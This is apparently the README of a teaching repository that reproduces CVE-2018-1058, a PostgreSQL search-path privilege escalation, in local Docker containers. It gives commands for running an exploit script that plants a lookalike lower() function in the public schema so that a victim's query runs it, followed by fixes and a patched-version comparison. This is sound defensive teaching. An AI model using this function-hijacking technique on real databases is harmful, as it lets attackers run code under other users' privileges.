本仓库包含以下内容的最终报告和可复现性工件:
CVE-2018-1058:通过不受控制的搜索路径在 PostgreSQL 中实现权限提升
目标是使用安全的本地 Docker 环境演示 CVE-2018-1058 背后的搜索路径信任缺陷。
该演示不会复现历史上确切的 pg_dump 执行路径。相反,它复现了 PostgreSQL 指南中描述的相同根本原因:攻击者可写的模式中包含一个相似对象,而另一个会话将未限定的名称解析到该对象。
.
├── report.pdf
├── docker-compose.yml
├── README.md
└── scripts/
├── init.sql
├── init_safe.sql
├── exploit.sql
├── victim_query.sql
├── verify_qualify.sql
└── fix.sql
最终报告为 report.pdf,其中包含书面分析以及下方对应预期输出的屏幕截图。
无需 Dockerfile。本项目使用官方 postgres 镜像。
屏幕截图直接嵌入在 report.pdf 中,因此未单独提供图像文件。
安装:
psql 客户端,可选但建议安装演示使用两个 PostgreSQL 容器:
请确保端口 15432 和 15433 未被占用。
预期的执行顺序如下:
attacker 身份运行 exploit.sql。victim 身份运行 victim_query.sql,观察 CVE-2018-1058 DEMO: 前缀。victim 身份运行 verify_qualify.sql,观察正常的小写输出。postgres 身份运行 fix.sql。victim_query.sql,观察正常的小写输出。15433 上重新运行 exploit.sql,观察 permission denied for schema public 错误。docker compose up -d pg_vulnerable
docker compose ps
预期结果:pg_vulnerable 服务应正在运行,并映射到端口 15432。
检查 PostgreSQL 版本:
docker exec -it cve1058_pg_vulnerable psql -U postgres -d demo_cve1058 -c "SELECT version();"
预期结果:PostgreSQL 10.2。
docker exec -it cve1058_pg_vulnerable psql -U postgres -d demo_cve1058 -c "\du"
预期角色:
postgresattackervictim攻击者不是 PostgreSQL 超级用户。
运行攻击者脚本:
PGPASSWORD='AttackerPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U attacker -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/exploit.sql
预期输出:
CREATE TABLE
GRANT
GRANT
CREATE FUNCTION
这会创建:
public.exploit_log 表;public.lower(varchar) 函数。PGPASSWORD='VictimPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U victim -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/victim_query.sql
预期输出:
CVE-2018-1058 DEMO: Alice Demo
CVE-2018-1058 DEMO: Bob Demo
这表明受害者的正常查询将 lower(...) 解析到了攻击者控制的函数。
PGPASSWORD='AttackerPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U attacker -d demo_cve1058 \
-c "TABLE public.exploit_log;"
预期结果:public.exploit_log 中至少有两行,受害者的查询每处理一行就会写入一行。
PGPASSWORD='VictimPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U victim -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/verify_qualify.sql
预期输出:
alice demo
bob demo
这样做之所以有效,是因为 pg_catalog.lower(...) 强制 PostgreSQL 使用内置函数。
PGPASSWORD='postgres' \
psql -h 127.0.0.1 -p 15432 -U postgres -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/fix.sql
预期输出可能包括:
DROP FUNCTION
DROP TABLE
REVOKE
REVOKE
然后重新运行受害者查询:
PGPASSWORD='VictimPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U victim -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/victim_query.sql
预期输出:
alice demo
bob demo
攻击者控制的函数已消失,查询返回正常的小写字符串。
docker compose up -d pg_fixed
docker compose ps
检查版本:
docker exec -it cve1058_pg_fixed psql -U postgres -d demo_cve1058 -c "SELECT version();"
预期结果:PostgreSQL 10.3。
PGPASSWORD='AttackerPw!ChangeMe' \
psql -h 127.0.0.1 -p 15433 -U attacker -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/exploit.sql
预期输出:
ERROR: permission denied for schema public
这意味着攻击者无法在 public 中创建伪造函数,因此攻击链在名称解析之前就被阻止。
停止容器:
docker compose down
删除卷并完全重置项目:
docker compose down -v
该演示故意设计为无害。它不会窃取数据、访问文件或执行操作系统命令。
该漏洞利用使用可见的字符串前缀和日志表来证明 PostgreSQL 将未限定的函数名解析到了攻击者控制的对象。
官方 CVE 涉及 pg_dump 和其他客户端应用程序。本仓库在安全且可复现的教学环境中演示了相同的搜索路径信任缺陷。
如果端口已被占用,请停止任何本地 PostgreSQL 服务,或更改 docker-compose.yml 中的主机端口。
如果输出与预期结果不符,请使用以下命令重置环境:
docker compose down -v
docker compose up -d pg_vulnerable
如果本地未安装 psql,仍然可以在容器内使用 docker exec 运行版本和角色检查命令。
如果漏洞利用在 pg_vulnerable 上失败,请确保数据库已重置,并且 scripts/exploit.sql 在 scripts/fix.sql 之前执行。
| Service | Version | Container name | Host port | Purpose |
|---|
pg_vulnerable | PostgreSQL 10.2 | cve1058_pg_vulnerable | 15432 | 易受攻击的演示 |
pg_fixed | PostgreSQL 10.3 | cve1058_pg_fixed | 15433 | 已修补/加固的对比 |